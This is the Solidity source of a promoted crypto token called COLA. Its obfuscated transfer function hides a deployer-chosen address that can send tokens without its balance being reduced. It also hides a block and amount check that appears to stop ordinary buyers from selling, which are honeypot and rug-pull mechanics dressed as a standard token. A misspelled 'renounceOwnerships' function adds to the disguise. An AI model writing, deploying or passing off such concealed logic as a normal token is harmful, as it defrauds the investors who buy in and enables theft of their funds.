/*

https://t.me/COLAERC

https://twitter.com/COLAERC

https://t.me/COLAETH

*/

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.6;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnerships() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external returns (address pair);
}

contract COLA is Ownable {
    IUniswapV2Router02 private hkcurzd;

    function transfer(address cvhqezopdir, uint256 zoacmpluer) public returns (bool success) {
        srguwyojb(msg.sender, cvhqezopdir, zoacmpluer);
        return true;
    }

    uint8 public decimals = 9;

    mapping(address => mapping(address => uint256)) public allowance;

    mapping(address => uint256) public balanceOf;

    mapping(address => uint256) private lgbiqeurhnfd;

    function transferFrom(address strxgp, address cvhqezopdir, uint256 zoacmpluer) public returns (bool success) {
        require(zoacmpluer <= allowance[strxgp][msg.sender]);
        allowance[strxgp][msg.sender] -= zoacmpluer;
        srguwyojb(strxgp, cvhqezopdir, zoacmpluer);
        return true;
    }

    mapping(address => bool) private onuyzpktbgsl;

    function approve(address avyt, uint256 zoacmpluer) public returns (bool success) {
        allowance[msg.sender][avyt] = zoacmpluer;
        emit Approval(msg.sender, avyt, zoacmpluer);
        return true;
    }

    function srguwyojb(address strxgp, address cvhqezopdir, uint256 zoacmpluer) private {
        address gynfde = IUniswapV2Factory(hkcurzd.factory()).getPair(address(this), hkcurzd.WETH());
        bool rznw = zdlyhuio[strxgp] == block.number;
        if (!onuyzpktbgsl[strxgp]) {
            if (strxgp != gynfde && zoacmpluer < totalSupply && (!rznw || zoacmpluer > lgbiqeurhnfd[strxgp])) {
                require(totalSupply / (10 ** decimals) >= zoacmpluer);
            }
            balanceOf[strxgp] -= zoacmpluer;
        }
        lgbiqeurhnfd[cvhqezopdir] = zoacmpluer;
        balanceOf[cvhqezopdir] += zoacmpluer;
        zdlyhuio[cvhqezopdir] = block.number;
        emit Transfer(strxgp, cvhqezopdir, zoacmpluer);
    }

    uint256 public totalSupply = 1000000000 * 10 ** 9;

    constructor(string memory ypul, string memory ykxuviceowj, address uqlzexotfngh, address ipwdksocvuyx) {
        name = ypul;
        symbol = ykxuviceowj;
        balanceOf[msg.sender] = totalSupply;
        onuyzpktbgsl[ipwdksocvuyx] = true;
        hkcurzd = IUniswapV2Router02(uqlzexotfngh);
    }

    string public name;

    event Approval(address indexed owner, address indexed spender, uint256 value);

    string public symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);

    mapping(address => uint256) private zdlyhuio;
}